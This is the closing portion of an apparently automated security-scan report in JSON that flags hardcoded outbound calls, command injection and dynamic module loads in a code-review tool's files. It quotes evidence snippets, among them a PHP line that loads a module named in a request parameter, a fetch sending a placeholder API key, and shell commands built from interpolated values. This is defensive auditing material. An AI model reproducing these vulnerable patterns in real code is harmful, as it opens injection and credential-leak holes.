      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-quality-ops.js",
        "line": 1887,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-security-deep.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-security-deep.js:1185`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-security-deep.js"
      },
      "evidence": "const response = await fetch(\"http://api.production.com/auth/login\", { method: \"POST\", headers: { \"Content-Type",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-security-deep.js",
        "line": 1185,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark.js:97`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark.js"
      },
      "evidence": "r_secret_password_123\"; fetch(\"https://api.example.com\", { headers: { Authorization: \"Bearer \" + API_KEY } });`,",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark.js",
        "line": 97,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-009",
      "title": "Untrusted input concatenated into a command sink (dist/commands/commit-hygiene.js)",
      "category": "injection",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/commit-hygiene.js:22`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/commit-hygiene.js"
      },
      "evidence": "y { const log = execSync(`git log --oneline -${count} --format=\"%H|%s\"`, { encoding: \"utf-8\", timeout: 10000 });",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-009",
        "file": "dist/commands/commit-hygiene.js",
        "line": 22,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-009",
      "title": "Untrusted input concatenated into a command sink (dist/commands/finding-trace.js)",
      "category": "injection",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/finding-trace.js:56`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/finding-trace.js"
      },
      "evidence": "blameLines = execSync(`git blame --porcelain \"${sourcePath}\"`, { encoding: \"utf-8\" }).split(\"\\n\"); }",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-009",
        "file": "dist/commands/finding-trace.js",
        "line": 56,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-005",
      "title": "Dynamic module load from a non-literal (dist/cli.js)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "heuristic",
      "description": "In the server's implementation (`dist/cli.js:701`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/cli.js"
      },
      "evidence": "const mod = await import(modulePath); await mod[fnName](argv); return; } // ─── List Comma",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-005",
        "file": "dist/cli.js",
        "line": 701,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-005",
      "title": "Dynamic module load from a non-literal (dist/commands/benchmark-security-deep.js)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "heuristic",
      "description": "In the server's implementation (`dist/commands/benchmark-security-deep.js:1355`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-security-deep.js"
      },
      "evidence": "dule = $_GET['module']; require($module); ?>`, expectedRuleIds: [\"CYBER-001\"], category: \"injection\",",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-005",
        "file": "dist/commands/benchmark-security-deep.js",
        "line": 1355,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-005",
      "title": "Dynamic module load from a non-literal (dist/commands/design-audit.js)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "heuristic",
      "description": "In the server's implementation (`dist/commands/design-audit.js:77`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/design-audit.js"
      },
      "evidence": ": `${unusedImportCount} import(s) may be unused — common AI-generation artifact`, }); } // 4. Pattern co",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-005",
        "file": "dist/commands/design-audit.js",
        "line": 77,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-005",
      "title": "Dynamic module load from a non-literal (dist/config.js)",
      "category": "permissions",
      "severity": "medium",
      "confidence": "heuristic",
      "description": "In the server's implementation (`dist/config.js:574`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/config.js"
      },
      "evidence": "const mod = (await import(resolvedSpec)); // Strategy 1: Full JudgesPlugin export (best — gets hooks, r",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-005",
        "file": "dist/config.js",
        "line": 574,
        "nonRuntime": false
      }
    }
  ],
  "toxicFlows": [],
  "capabilities": [],
  "surfaceDigest": "5afc6df29f3bd55e2937d122760133174103c77fd3be38496d0510c45b6d1563",
  "stats": {
    "tools": 0,
    "prompts": 0,
    "resources": 0,
    "findingsBySeverity": {
      "critical": 0,
      "high": 21,
      "medium": 16,
      "low": 0,
      "info": 0
    }
  }
}